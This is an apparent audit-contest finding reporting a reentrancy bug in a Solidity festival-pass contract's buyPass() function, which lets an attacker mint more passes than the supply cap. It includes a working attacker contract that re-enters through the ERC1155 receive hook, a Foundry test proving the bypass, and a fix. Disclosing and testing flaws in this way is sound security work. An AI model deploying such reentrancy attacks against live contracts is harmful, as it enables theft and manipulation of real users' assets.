Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

ERC1155 reentrancy enables bypass of pass supply limits causing DoS

Description:

The buyPass() function contains a reentrancy vulnerability due to incorrect ordering of state updates and external calls. The function calls _mint() before incrementing passSupply[collectionId], and since _mint() triggers the ERC1155 onERC1155Received hook on recipient contracts, malicious contracts can re-enter buyPass() during the minting process. During reentrancy, the passSupply counter has not yet been updated, allowing the attacker to bypass the require(passSupply[collectionId] < passMaxSupply[collectionId]) check multiple times and purchase more passes than the configured maximum supply limit.

Attack path:

  1. Organizer configures pass type with limited maxSupply (e.g., 3 VIP passes for venue capacity control)

  2. Attacker deploys malicious contract implementing onERC1155Received hook

  3. Attacker calls buyPass() with sufficient ETH for multiple passes

  4. buyPass() checks passSupply[1] < maxSupply[1] (0 < 3) and proceeds

  5. Function calls _mint() which triggers onERC1155Received() on attacker's contract

  6. Attacker's hook calls buyPass() again while passSupply is still 0

  7. Second call passes the same supply check (0 < 3) and calls _mint() again

  8. Process repeats 5 times through nested reentrancy calls

  9. Only after all reentrancy calls complete does passSupply get incremented to 5

  10. Attacker receives 5 passes despite maxSupply being only 3

Impact:

Once attacker exceeds maxSupply through reentrancy, all subsequent buyPass() calls from legitimate users will revert with "Max supply reached" despite passes being artificially oversold leading to DoS

Selling more passes than venue capacity creates dangerous overcrowding conditions, especially if the attacker distributes the excess passes to different people who then attend performances, resulting in actual physical overcrowding beyond safety limits

Exceeding fire codes and building capacity limits poses serious injury risks

PoC

Create a AttackContract.sol file and put it into the test folder

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
interface IFestivalPass {
function buyPass(uint256 collectionId) external payable;
}
contract AttackContract {
IFestivalPass target;
uint256 attackCount;
uint256 constant MAX_ATTACKS = 5;
bool attacking = false;
constructor(address _targetAddress) {
target = IFestivalPass(_targetAddress);
}
function attack() external payable {
require(msg.value >= 0.05 ether * MAX_ATTACKS, "Insufficient ETH for attack");
attacking = true;
attackCount = 0;
target.buyPass{value: 0.05 ether}(1);
}
function onERC1155Received(address operator, address from, uint256 id, uint256 value, bytes calldata data)
external
returns (bytes4)
{
if (attacking && attackCount < MAX_ATTACKS - 1) {
attackCount++;
target.buyPass{value: 0.05 ether}(1);
}
return this.onERC1155Received.selector;
}
}

Place this import into the FestivalPass.t.sol file

import {AttackContract} from "./AttackContract.sol";

Place this test after the setUp() in the FestivalPass.t.sol file

function test_ReentrancyAttack_BuyPass() public {
// Configure pass with very limited supply to demonstrate maxSupply bypass
vm.prank(organizer);
festivalPass.configurePass(1, GENERAL_PRICE, 3); // Only 3 passes allowed
// Deploy attack contract
AttackContract attacker = new AttackContract(address(festivalPass));
// Fund the attack contract
vm.deal(address(attacker), 1 ether);
// Check initial state
assertEq(festivalPass.passSupply(1), 0);
assertEq(festivalPass.passMaxSupply(1), 3); // Only 3 passes should be possible
assertEq(festivalPass.balanceOf(address(attacker), 1), 0);
// Execute reentrancy attack
attacker.attack{value: 0.25 ether}(); // Try to get 5 passes
// Verify the attack succeeded - got more passes than maxSupply allows
uint256 attackerBalance = festivalPass.balanceOf(address(attacker), 1);
uint256 maxSupply = festivalPass.passMaxSupply(1);
uint256 recordedSupply = festivalPass.passSupply(1);
console.log("Attacker got", attackerBalance, "passes");
console.log("Max supply was:", maxSupply);
console.log("Recorded supply:", recordedSupply);
// The vulnerability: attacker got more passes than maxSupply
assertEq(attackerBalance, 5); // Got 5 passes through reentrancy
assertEq(maxSupply, 3); // But max supply was only 3
assertEq(recordedSupply, 5); // Supply counter shows 5 (exceeds max!)
// This proves the reentrancy vulnerability - bypassed maxSupply limit
assertGt(attackerBalance, maxSupply);
assertGt(recordedSupply, maxSupply);
}

Run forge test --match-test test_ReentrancyAttack_BuyPass -vvvin the terminal

Recommended Mitigation:

Implement the Checks-Effects-Interactions pattern by moving state updates before external calls:

function buyPass(uint256 collectionId) external payable {
require(
collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS,
"Invalid pass ID"
);
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
// Update state BEFORE external call
++passSupply[collectionId];
// Then mint (external call with potential reentrancy)
_mint(msg.sender, collectionId, 1, "");
// Bonus distribution remains after minting
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}

Alternatively, implement OpenZeppelin's ReentrancyGuard modifier for additional protection.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPass reentrancy to surpass the passMaxSupply

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.